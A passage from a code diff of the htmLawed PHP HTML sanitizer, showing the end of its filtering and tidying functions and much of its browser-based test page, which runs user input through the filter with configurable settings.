unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto');
}elseif($k == 'hspace'){
unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px";
}elseif($k == 'language' && !isset($a['type'])){
unset($a['language']);
$a['type'] = 'text/'. strtolower($v);
}elseif($k == 'name'){
if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){unset($a['name']);}
if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){$a['id'] = $v;}
}elseif($k == 'noshade'){
unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray';
}elseif($k == 'nowrap'){
unset($a['nowrap']); $c[] = 'white-space: nowrap';
}elseif($k == 'size'){
unset($a['size']); $c[] = 'size: '. $v. 'px';
}elseif($k == 'start' or $k == 'value'){
unset($a[$k]);
}elseif($k == 'type'){
unset($a['type']);
static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal');
$c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal');
}elseif($k == 'vspace'){
unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px";
}
}
if(count($c)){
$c = implode('; ', $c);
$a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';';
}
}
// unique ID
if($C['unique_ids'] && isset($a['id'])){
if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (isset($GLOBALS['hl_Ids'][$id]) && $C['unique_ids'] == 1)){unset($a['id']);
}else{
while(isset($GLOBALS['hl_Ids'][$id])){$id = $C['unique_ids']. $id;}
$GLOBALS['hl_Ids'][($a['id'] = $id)] = 1;
}
}
// xml:lang
if($C['xml:lang'] && isset($a['lang'])){
$a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang'];
if($C['xml:lang'] == 2){unset($a['lang']);}
}
// for transformed tag
if(!empty($trt)){
$a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt;
}
// return with empty ele /
if(empty($C['hook_tag'])){
$aA = '';
foreach($a as $k=>$v){$aA .= " {$k}=\"{$v}\"";}
return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>';
}
else{return $C['hook_tag']($e, $a);}
// eof
}
function hl_tag2(&$e, &$a, $t=1){
// transform tag
if($e == 'center'){$e = 'div'; return 'text-align: center;';}
if($e == 'dir' or $e == 'menu'){$e = 'ul'; return '';}
if($e == 's' or $e == 'strike'){$e = 'span'; return 'text-decoration: line-through;';}
if($e == 'u'){$e = 'span'; return 'text-decoration: underline;';}
static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%');
if($e == 'font'){
$a2 = '';
if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){
$a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';';
}
if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){
$a2 .= ' color: '. trim($m[2]). ';';
}
if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){
$a2 .= ' font-size: '. $fs[$m]. ';';
}
$e = 'span'; return ltrim($a2);
}
if($t == 2){$e = 0; return 0;}
return '';
// eof
}
function hl_tidy($t, $w, $p){
// Tidy/compact HTM
if(strpos(' pre,script,textarea', "$p,")){return $t;}
$t = str_replace(' </', '</', preg_replace(array('`(<\w[^>]*(?<!/)>)\s+`', '`\s+`', '`(<\w[^>]*(?<!/)>) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)(</\2>)`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t)));
if(($w = strtolower($w)) == -1){
return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t);
}
$s = strpos(" $w", 't') ? "\t" : ' ';
$s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2));
$n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0;
$a = array('br'=>1);
$b = array('button'=>1, 'input'=>1, 'option'=>1);
$c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1);
$d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1);
ob_start();
if(isset($d[$p])){echo str_repeat($s, ++$n);}
$t = explode('<', $t);
echo ltrim(array_shift($t));
for($i=-1, $j=count($t); ++$i<$j;){
$r = ''; list($e, $r) = explode('>', $t[$i]);
$x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1));
$y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0);
$e = "<$e>";
if(isset($d[$y])){
if(!$x){echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n);}
else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n));}
echo ltrim($r); continue;
}
$f = "\n". str_repeat($s, $n);
if(isset($c[$y])){
if(!$x){echo $e, $f, ltrim($r);}
else{echo $f, $e, $r;}
}elseif(isset($b[$y])){echo $f, $e, $r;
}elseif(isset($a[$y])){echo $e, $f, ltrim($r);
}elseif(!$y){echo $f, $e, $f, ltrim($r);
}else{echo $e, $r;}
}
$t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents());
ob_end_clean();
if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){
$t = str_replace("\n", $l, $t);
}
return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t);
// eof
}
function hl_version(){
// rel
return '1.1.10';
// eof
}
function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){
// kses compat
foreach($h as $k=>$v){
$h[$k]['n']['*'] = 1;
}
$C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0;
$C['keep_bad'] = 1;
$C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*';
$C['hook'] = 'kses_hook';
$C['schemes'] = '*:'. implode(',', $p);
return htmLawed($t, $C, $h);
// eof
}
function kses_hook($t, &$C, &$S){
// kses compat
return $t;
// eof
}

View File

@ -0,0 +1,595 @@
<?php
/*
htmLawedTest.php, 22 October 2011
htmLawed 1.1.10, 5 April 2012
Copyright Santosh Patnaik
Dual licensed with LGPL 3 and GPL 2 or later
A PHP Labware internal utility - http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
Test htmLawed; user provides text input; input and processed input are shown as highlighted code and rendered HTML; also shown are execution time and peak memory usage
*/
// config
$_errs = 0; // display PHP errors
$_limit = 8000; // input character limit
// more config
$_hlimit = 1000; // input character limit for showing hexdumps
$_hilite = 1; // 0 turns off slow Javascript-based code-highlighting, e.g., if $_limit is high
$_w3c_validate = 1; // 1 to show buttons to send input/output to w3c validator
$_sid = 'sid'; // session name; alphanum.
$_slife = 30; // session life in min.
// errors
error_reporting(E_ALL | (defined('E_STRICT') ? E_STRICT : 1));
ini_set('display_errors', $_errs);
// session
session_name($_sid);
session_cache_limiter('private');
session_cache_expire($_slife);
ini_set('session.gc_maxlifetime', $_slife * 60);
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_lifetime', 0);
session_start();
if(!isset($_SESSION['token'])){
$_SESSION['token'] = md5(uniqid(rand(), 1));
}
// slashes
if(get_magic_quotes_gpc()){
foreach($_POST as $k => $v){
$_POST[$k] = stripslashes($v);
}
ini_set('magic_quotes_gpc', 0);
}
if(get_magic_quotes_runtime()){
set_magic_quotes_runtime(0);
}
$_POST['enc'] = (isset($_POST['enc']) and preg_match('`^[-\w]+$`', $_POST['enc'])) ? $_POST['enc'] : 'utf-8';
// token for anti-CSRF
if(count($_POST)){
if((empty($_GET['pre']) and ((!empty($_POST['token']) and !empty($_SESSION['token']) and $_POST['token'] != $_SESSION['token']) or empty($_POST[$_sid]) or $_POST[$_sid] != session_id() or empty($_COOKIE[$_sid]) or $_COOKIE[$_sid] != session_id())) or ($_POST[$_sid] != session_id())){
$_POST = array('enc'=>'utf-8');
}
}
if(empty($_GET['pre'])){
$_SESSION['token'] = md5(uniqid(rand(), 1));
$token = $_SESSION['token'];
session_regenerate_id(1);
}
// compress
if(function_exists('gzencode') && isset($_SERVER['HTTP_ACCEPT_ENCODING']) && preg_match('`gzip|deflate`i', $_SERVER['HTTP_ACCEPT_ENCODING']) && !ini_get('zlib.output_compression')){
ob_start('ob_gzhandler');
}
// HTM for unprocessed
if(isset($_POST['inputH'])){
echo '<html><head><title>htmLawed test: HTML view of unprocessed input</title></head><body style="margin:0; padding: 0;"><p style="background-color: black; color: white; padding: 2px;">&nbsp; Rendering of unprocessed input without an HTML doctype or charset declaration &nbsp; &nbsp; <small><a style="color: white; text-decoration: none;" href="1" onclick="javascript:window.close(this); return false;">close window</a> | <a style="color: white; text-decoration: none;" href="htmLawedTest.php" onclick="javascript: window.open(\'htmLawedTest.php\', \'hlmain\'); window.close(this); return false;">htmLawed test page</a></small></p><div>', $_POST['inputH'], '</div></body></html>';
exit;
}
// main
$_POST['text'] = isset($_POST['text']) ? $_POST['text'] : 'text to process; < '. $_limit. ' characters'. ($_hlimit ? ' (for binary hexdump view, < '. $_hlimit. ')' : '');
$do = (!empty($_POST[$_sid]) && isset($_POST['text'][0]) && !isset($_POST['text'][$_limit])) ? 1 : 0;
$limit_exceeded = isset($_POST['text'][$_limit]) ? 1 : 0;
$pre_mem = memory_get_usage();
$validation = (!empty($_POST[$_sid]) and isset($_POST['w3c_validate'][0])) ? 1 : 0;
include './htmLawed.php';
function format($t){
$t = "\n". str_replace(array("\t", "\r\n", "\r", '&', '<', '>', "\n"), array(' ', "\n", "\n", '&amp;', '&lt;', '&gt;', "<span class=\"newline\">&#172;</span><br />\n"), $t);
return str_replace(array('<br />', "\n ", ' '), array("\n<br />\n", "\n&nbsp;", ' &nbsp;'), $t);
}
function hexdump($d){
// Mainly by Aidan Lister <aidan@php.net>, Peter Waller <iridum@php.net>
$hexi = '';
$ascii = '';
ob_start();
echo '<pre>';
$offset = 0;
$len = strlen($d);
for($i=$j=0; $i<$len; $i++)
{
// Convert to hexidecimal
$hexi .= sprintf("%02X ", ord($d[$i]));
// Replace non-viewable bytes with '.'
if(ord($d[$i]) >= 32){
$ascii .= htmlspecialchars($d[$i]);
}else{
$ascii .= '.';
}
// Add extra column spacing
if($j == 7){
$hexi .= ' ';
$ascii .= ' ';
}
// Add row
if(++$j == 16 || $i == $len-1){
// Join the hexi / ascii output
echo sprintf("%04X %-49s %s", $offset, $hexi, $ascii);
// Reset vars
$hexi = $ascii = '';
$offset += 16;
$j = 0;
// Add newline
if ($i !== $len-1){
echo "\n";
}
}
}
echo '</pre>';
$o = ob_get_contents();
ob_end_clean();
return $o;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="description" content="htmLawed <?php echo hl_version();?> test page" />
<style type="text/css"><!--/*--><![CDATA[/*><!--*/
a, a.resizer{text-decoration:none;}
a:hover, a.resizer:hover{color:red;}
a.resizer{color:green; float:right;}
body{background-color:#efefef;}
body, button, div, html, input, p{font-size:13px; font-family:'Lucida grande', Verdana, Arial, Helvetica, sans-serif;}
button, input{font-size: 85%;}
div.help{border-top: 1px dotted gray; margin-top: 15px; padding-top: 15px; color:#999999;}
#inputC, #inputD, #inputF, #inputR, #outputD, #outputF, #outputH, #outputR, #settingF{display:block;}
#inputC, #settingF{background-color:white; border:1px gray solid; padding:3px;}
#inputC li{margin: 0; padding: 0;}
#inputC ul{margin: 0; padding: 0; margin-left: 14px;}
#inputC input{margin: 0; margin-left: 2px; margin-right: 2px; padding: 1px; vertical-align: middle;}
#inputD{overflow:auto; background-color:#ffff99; border:1px #cc9966 solid; padding:3px;}
#inputR{overflow:auto; background-color:#ffffcc; border:1px #ffcc99 solid; padding:3px;}
#inputC, #settingF, #inputD, #inputR, #outputD, #outputR, textarea{font-size:100%; font-family:'Bitstream vera sans mono', 'courier new', 'courier', monospace;}
#outputD{overflow:auto; background-color: #99ffcc; border:1px #66cc99 solid; padding:3px;}
#outputH{overflow:auto; background-color:white; padding:3px; border:1px #dcdcdc solid;}
#outputR{overflow:auto; background-color: #ccffcc; border:1px #99cc99 solid; padding:3px;}
span.cmtcdata{color: orange;}
span.ctag{color:red;}
span.ent{border-bottom:1px dotted #999999;}
span.etag{color:purple;}
span.help{color:#999999;}
span.newline{color:#dcdcdc;}
span.notice{color:green;}
span.otag{color:blue;}
#topmost{margin:auto; width:98%;}
/*]]>*/--></style>
<script type="text/javascript"><!--//--><![CDATA[//><!--
window.name = 'hlmain';
function hl(i){
<?php if(!$_hilite){echo 'return;'; }?>
var e = document.getElementById(i);
if(!e){return;}
run(e, '</[a-z1-6]+>', 'ctag');
run(e, '<[a-z]+(?:[^>]*)/>', 'etag');
run(e, '<[a-z1-6]+(?:[^>]*)>', 'otag');
run(e, '&[#a-z0-9]+;', 'ent');
run(e, '<!(?:(?:--(?:.|\n)*?--)|(?:\\[CDATA\\[(?:.|\n)*?\\]\\]))>', 'cmtcdata');
}
function sndProc(){
var f = document.getElementById('testform');
if(!f){return;}
var e = document.createElement('input');
e.type = 'hidden';
e.name = '<?php echo htmlspecialchars($_sid); ?>';
e.id = '<?php echo htmlspecialchars($_sid); ?>';
e.value = readCookie('<?php echo htmlspecialchars($_sid); ?>');
f.appendChild(e);
f.submit();
}
function readCookie(n){
var ne = n + '=';
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++){
var c = ca[i];
while(c.charAt(0)==' '){
c = c.substring(1,c.length);
}
if(c.indexOf(ne) == 0){
return c.substring(ne.length,c.length);
}
}
return null;
}
function run(e, q, c){
var q = new RegExp(q);
if(e.firstChild == null){
var m = q.exec(e.data);
if(m){
var v = m[0];
var k2 = e.splitText(m.index);
var k3 = k2.splitText(v.length);
var s = e.ownerDocument.createElement('span');
e.parentNode.replaceChild(s, k2);
s.className = c; s.appendChild(k2);
}
}
for(var k = e.firstChild; k != null; k = k.nextSibling){
if(k.nodeType == 3){
var m = q.exec(k.data);
if(m){
var v = m[0];
var k2 = k.splitText(m.index);
var k3 = k2.splitText(v.length);
var s = k.ownerDocument.createElement('span');
k.parentNode.replaceChild(s, k2);
s.className = c; s.appendChild(k2);
}
}
else if(c == 'ent' && k.nodeType == 1){
var d = k.firstChild;
if(d){
var m = q.exec(d.data);
if(m){
var v = m[0];
var d2 = d.splitText(m.index);
var d3 = d2.splitText(v.length);
var s = d.ownerDocument.createElement('span');
d.parentNode.replaceChild(s, d2);
s.className = c; s.appendChild(d2);
}
}
}
}
}
function toggle(i){
var e = document.getElementById(i);
if(!e){return;}
if(e.style){
var a = e.style.display;
if(a == 'block'){e.style.display = 'none'; return;}
if(a == 'none'){e.style.display = 'block';}
else{e.style.display = 'none';}
return;
}
var a = e.visibility;
if(a == 'hidden'){e.visibility = 'show'; return;}
if(a == 'show'){e.visibility = 'hidden';}
}
function sndUnproc(){
var i = document.getElementById('text');
if(!i){return;}
i = i.value;
i = i.replace(/>/g, '&gt;');
i = i.replace(/</g, '&lt;');
i = i.replace(/"/g, '&quot;');
var w = window.open('htmLawedTest.php?pre=1', 'hlprehtm');
var f = document.createElement('form');
f.enctype = 'application/x-www-form-urlencoded';
f.method = 'post';
f.acceptCharset = '<?php echo htmlspecialchars($_POST['enc']); ?>';
if(f.style){f.style.display = 'none';}
else{f.visibility = 'hidden';}
f.innerHTML = '<p style="display:none;"><input style="display:none;" type="hidden" name="token" id="token" value="<?php echo $token; ?>" /><input style="display:none;" type="hidden" name="<?php echo htmlspecialchars($_sid); ?>" id="<?php echo htmlspecialchars($_sid); ?>" value="' + readCookie('<?php echo htmlspecialchars($_sid); ?>') + '" /><input style="display:none;" type="hidden" name="inputH" id="inputH" value="'+ i+ '" /></p>';
f.action = 'htmLawedTest.php?pre=1';
f.target = 'hlprehtm';
f.method = 'post';
var b = document.getElementsByTagName('body')[0];
b.appendChild(f);
f.submit();
w.focus;
}
function sndValidn(id, type){
var i = document.getElementById(id);
if(!i){return;}
i = i.value;
i = i.replace(/>/g, '&gt;');
i = i.replace(/</g, '&lt;');
i = i.replace(/"/g, '&quot;');
var w = window.open('http://validator.w3.org/check', 'validate'+id+type);
var f = document.createElement('form');
f.enctype = 'application/x-www-form-urlencoded';
f.method = 'post';
f.acceptCharset = '<?php echo htmlspecialchars($_POST['enc']); ?>';
if(f.style){f.style.display = 'none';}
else{f.visibility = 'hidden';}
f.innerHTML = '<p style="display:none;"><input style="display:none;" type="hidden" name="fragment" id="fragment" value="'+ i+ '" /><input style="display:none;" type="hidden" name="prefill" id="prefill" value="1" /><input style="display:none;" type="hidden" name="prefill_doctype" id="prefill_doctype" value="'+ type+ '" /><input style="display:none;" type="hidden" name="group" id="group" value="1" /><input type="hidden" name="ss" id="ss" value="1" /></p>';
f.action = 'http://validator.w3.org/check';
f.target = 'validate'+id+type;
var b = document.getElementsByTagName('body')[0];
b.appendChild(f);
f.submit();
w.focus;
}
tRs = {
formEl: null,
resizeClass: 'textarea',
adEv: function(t,ev,fn){
if(typeof document.addEventListener != 'undefined'){
t.addEventListener(ev,fn,false);
}else{
t.attachEvent('on' + ev, fn);
}
},
rmEv: function(t,ev,fn){
if(typeof document.removeEventListener != 'undefined'){
t.removeEventListener(ev,fn,false);
}else
{
t.detachEvent('on' + ev, fn);
}
},
adBtn: function(){
var textareas = document.getElementsByTagName('textarea');
for(var i = 0; i < textareas.length; i++){
var txtclass=textareas[i].className;
if(txtclass.substring(0,tRs.resizeClass.length)==tRs.resizeClass ||
txtclass.substring(txtclass.length -tRs.resizeClass.length)==tRs.resizeClass){
var a = document.createElement('a');
a.appendChild(document.createTextNode("\u2195"));
a.style.cursor = 'n-resize';
a.className= 'resizer';
a.title = 'click-drag to resize textarea'
tRs.adEv(a, 'mousedown', tRs.initResize);
textareas[i].parentNode.appendChild(a);
}
}
},
initResize: function(event){
if(typeof event == 'undefined'){
event = window.event;
}
if(event.srcElement){
var target = event.srcElement.previousSibling;
}else{
var target = event.target.previousSibling;
}
if(target.nodeName.toLowerCase() == 'textarea' || (target.nodeName.toLowerCase() == 'input' && target.type == 'text')){
tRs.formEl = target;
tRs.formEl.startHeight = tRs.formEl.clientHeight;
tRs.formEl.startY = event.clientY;
tRs.adEv(document, 'mousemove', tRs.resize);
tRs.adEv(document, 'mouseup', tRs.stopResize);
tRs.formEl.parentNode.style.cursor = 'n-resize';
tRs.formEl.style.cursor = 'n-resize';
try{
event.preventDefault();
}catch(e){
}
}
},
resize: function(event){
if(typeof event == 'undefined'){
event = window.event;
}
if(tRs.formEl.nodeName.toLowerCase() == 'textarea'){
tRs.formEl.style.height = event.clientY - tRs.formEl.startY + tRs.formEl.startHeight + 'px';
}
},
stopResize: function(event){
tRs.rmEv(document, 'mousedown', tRs.initResize);
tRs.rmEv(document, 'mousemove', tRs.resize);
tRs.formEl.style.cursor = 'text';
tRs.formEl.parentNode.style.cursor = 'auto';
return false;
}
};
tRs.adEv(window, 'load', tRs.adBtn);
//--><!]]></script>
<title>htmLawed (<?php echo hl_version();?>) test</title>
</head>
<body>
<div id="topmost">
<h5 style="float: left; display: inline; margin-top: 0; margin-bottom: 5px;"><a href="http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/index.php" title="htmLawed home">HTM<big><big>L</big></big>AWED</a> <?php echo hl_version();?> <a href="htmLawedTest.php" title="test home">TEST</a></h5>
<span style="float: right;" class="help"><a href="htmLawed_README.htm"><span class="notice">htm</span></a> / <a href="htmLawed_README.txt"><span class="notice">txt</span></a> documentation</span><br style="clear:both;" />
<a href="htmLawedTest.php" title="[toggle visibility] type or copy-paste" onclick="javascript:toggle('inputF'); return false;"><span class="notice">Input &raquo;</span> <span class="help" title="limit lower with multibyte characters<?php echo (($_hlimit < $_limit && $_hlimit)? '; limit is '. $_hlimit. ' for viewing binaries' : ''); ?>"><small>(max. <?php echo htmlspecialchars($_limit);?> chars)</small></span></a>
<form id="testform" name="testform" action="htmLawedTest.php" method="post" accept-charset="<?php echo htmlspecialchars($_POST['enc']); ?>" style="padding:0; margin: 0; display:inline;">
<div id="inputF" style="display: block;">
<input type="hidden" name="token" id="token" value="<?php echo $token; ?>" />
<div><textarea id="text" class="textarea" name="text" rows="5" cols="100" style="width: 100%;"><?php echo htmlspecialchars($_POST['text']);?></textarea></div>
<input type="submit" id="submitF" name="submitF" value="Process" style="float:left;" title="filter using htmLawed" onclick="javascript: sndProc(); return false;" onkeypress="javascript: sndProc(); return false;" />
<?php
if($do){
if($validation){
echo '<input type="hidden" value="1" name="w3c_validate" id="w3c_validate" />';
}
?>
<button type="button" title="rendered as web-page without a doctype or charset declaration" style="float: right;" onclick="javascript: sndUnproc(); return false;" onkeypress="javascript: sndUnproc(); return false;">View unprocessed</button>
<button type="button" onclick="javascript:document.getElementById('text').focus();document.getElementById('text').select()" title="select all to copy" style="float:right;">Select all</button>
<?php
if($_w3c_validate && $validation){
?>
<button type="button" title="HTML 4.01 W3C online validation" style="float: right;" onclick="javascript: sndValidn('text', 'html401'); return false;" onkeypress="javascript: sndValidn('text', 'html401'); return false;">Check HTML</button>
<button type="button" title="XHTML 1.1 W3C online validation" style="float: right;" onclick="javascript: sndValidn('text', 'xhtml110'); return false;" onkeypress="javascript: sndValidn('text', 'xhtml110'); return false;">Check XHTML</button>
<?php
}
}
else{
if($_w3c_validate){
echo '<span style="float: right;" class="help" title="for direct submission of input or output code to W3C validator for (X)HTML validation"><span style="font-size: 85%;">&nbsp;Validator tools: </span><input type="checkbox" value="1" name="w3c_validate" id="w3c_validate" style="vertical-align: middle;"', ($validation ? ' checked="checked"' : ''), ' /></span>';
}
}
?>
<span style="float:right;" class="help" title="IANA-recognized name of the input character-set; can be multiple ;- or space-separated values; may not work in some browsers"><span style="font-size: 85%;">Encoding: </span><input type="text" size="8" id="enc" name="enc" style="vertical-align: middle;" value="<?php echo htmlspecialchars($_POST['enc']); ?>" /></span>
</div>
<br style="clear:both;" />
<?php
if($limit_exceeded){
echo '<br /><strong>Input text is too long!</strong><br />';
}
?>
<br />
<a href="htmLawedTest.php" title="[toggle visibility] htmLawed configuration" onclick="javascript:toggle('inputC'); return false;"><span class="notice">Settings &raquo;</span></a>
<div id="inputC" style="display: none;">
<table summary="none">
<tr>
<td><span class="help" title="$config argument">Config:</span></td>
<td><ul>
<?php
$cfg = array(
'abs_url'=>array('3', '0', 'absolute/relative URL conversion', '-1'),
'and_mark'=>array('2', '0', 'mark original <em>&amp;</em> chars', '0', 'd'=>1), // 'd' to disable
'anti_link_spam'=>array('1', '0', 'modify <em>href</em> values as an anti-link spam measure', '0', array(array('30', '1', '', 'regex for extra <em>rel</em>'), array('30', '2', '', 'regex for no <em>href</em>'))),
'anti_mail_spam'=>array('1', '0', 'replace <em>@</em> in <em>mailto:</em> URLs', '0', '8', 'NO@SPAM', 'replacement'),
'balance'=>array('2', '1', 'fix nestings and balance tags', '0'),
'base_url'=>array('', '', 'base URL', '25'),
'cdata'=>array('4', 'nil', 'allow <em>CDATA</em> sections', 'nil'),
'clean_ms_char'=>array('3', '0', 'replace bad characters introduced by Microsoft apps. like <em>Word</em>', '0'),
'comment'=>array('4', 'nil', 'allow HTML comments', 'nil'),
'css_expression'=>array('2', 'nil', 'allow dynamic expressions in CSS style properties', 'nil'),
'deny_attribute'=>array('1', '0', 'denied attributes', '0', '50', '', 'these'),
'direct_list_nest'=>array('2', 'nil', 'allow direct nesting of a list within another without requiring it to be a list item', 'nil'),
'elements'=>array('', '', 'allowed elements', '50'),
'hexdec_entity'=>array('3', '1', 'convert hexadecimal numeric entities to decimal ones, or vice versa', '0'),
'hook'=>array('', '', 'name of hook function', '25'),
'hook_tag'=>array('', '', 'name of custom function to further check attribute values', '25'),
'keep_bad'=>array('7', '6', 'keep, or remove <em>bad</em> tag content', '0'),
'lc_std_val'=>array('2', '1', 'lower-case std. attribute values like <em>radio</em>', '0'),
'make_tag_strict'=>array('3', 'nil', 'transform deprecated elements', 'nil'),
'named_entity'=>array('2', '1', 'allow named entities, or convert numeric ones', '0'),
'no_deprecated_attr'=>array('3', '1', 'allow deprecated attributes, or transform them', '0'),
'parent'=>array('', 'div', 'name of parent element', '25'),
'safe'=>array('2', '0', 'for most <em>safe</em> HTML', '0'),
'schemes'=>array('', 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https', 'allowed URL protocols', '50'),
'show_setting'=>array('', 'htmLawed_setting', 'variable name to record <em>finalized</em> htmLawed settings', '25', 'd'=>1),
'style_pass'=>array('2', 'nil', 'do not look at <em>style</em> attribute values', 'nil'),
'tidy'=>array('3', '0', 'beautify/compact', '-1', '8', '1t1', 'format'),
'unique_ids'=>array('2', '1', 'unique <em>id</em> values', '0', '8', 'my_', 'prefix'),
'valid_xhtml'=>array('2', 'nil', 'auto-set various parameters for most valid XHTML', 'nil'),
'xml:lang'=>array('3', 'nil', 'auto-add <em>xml:lang</em> attribute', '0'),
);
foreach($cfg as $k=>$v){
echo '<li>', $k, ': ';
if(!empty($v[0])){ // input radio
$j = $v[3];
for($i = $j-1; ++$i < $v[0]+$v[3];++$j){
echo '<input type="radio" name="h', $k, '" value="', $i, '"', (!isset($_POST['h'. $k]) ? ($v[1] == $i ? ' checked="checked"' : '') : ($_POST['h'. $k] == $i ? ' checked="checked"' : '')), (isset($v['d']) ? ' disabled="disabled"' : ''), ' />', $i, ' ';
}
if($v[1] == 'nil'){
echo '<input type="radio" name="h', $k, '" value="nil"', ((!isset($_POST['h'. $k]) or $_POST['h'. $k] == 'nil') ? ' checked="checked"' : ''), (isset($v['d']) ? ' disabled="disabled"' : ''), ' />not set ';
}
if(!empty($v[4])){ // + input text box
echo '<input type="radio" name="h', $k, '" value="', $j, '"', (((isset($_POST['h'. $k]) && $_POST['h'. $k] == $j) or (!isset($_POST['h'. $k]) && $j == $v[1])) ? ' checked="checked"' : ''), (isset($v['d']) ? ' disabled="disabled"' : ''), ' />';
if(!is_array($v[4])){
echo $v[6], ': <input type="text" size="', $v[4], '" name="h', $k. $j, '" value="', htmlspecialchars(isset($_POST['h'. $k. $j][0]) ? $_POST['h'. $k. $j] : $v[5]), '"', (isset($v['d']) ? ' disabled="disabled"' : ''), ' />';
}
else{
foreach($v[4] as $z){
echo ' ', $z[3], ': <input type="text" size="', $z[0], '" name="h', $k. $j. $z[1], '" value="', htmlspecialchars(isset($_POST['h'. $k. $j. $z[1]][0]) ? $_POST['h'. $k. $j. $z[1]] : $z[2]), '"', (isset($v['d']) ? ' disabled="disabled"' : ''), ' />';
}
}
}
}
elseif(ctype_digit($v[3])){ // input text
echo '<input type="text" size="', $v[3], '" name="h', $k, '" value="', htmlspecialchars(isset($_POST['h'. $k][0]) ? $_POST['h'. $k] : $v[1]), '"', (isset($v['d']) ? ' disabled="disabled"' : ''), ' />';
}
else{} // text-area
echo ' <span class="help">', $v[2], '</span></li>';
}
echo '</ul></td></tr><tr><td><span style="vertical-align: top;" class="help" title="$spec argument: element-specific attribute rules">Spec:</span></td><td><textarea name="spec" id="spec" cols="70" rows="3" style="width:80%;">', htmlspecialchars((isset($_POST['spec']) ? $_POST['spec'] : '')), '</textarea></td></tr></table>';
?>
</div>
</form>
<?php
if($do){
$cfg = array();
foreach($_POST as $k=>$v){
if($k[0] == 'h' && $v != 'nil'){
$cfg[substr($k, 1)] = $v;
}
}
if(isset($cfg['anti_link_spam']) && $cfg['anti_link_spam'] && (!empty($cfg['anti_link_spam11']) or !empty($cfg['anti_link_spam12']))){
$cfg['anti_link_spam'] = array($cfg['anti_link_spam11'], $cfg['anti_link_spam12']);
}
unset($cfg['anti_link_spam11'], $cfg['anti_link_spam12']);
if(isset($cfg['anti_mail_spam']) && $cfg['anti_mail_spam'] == 1){
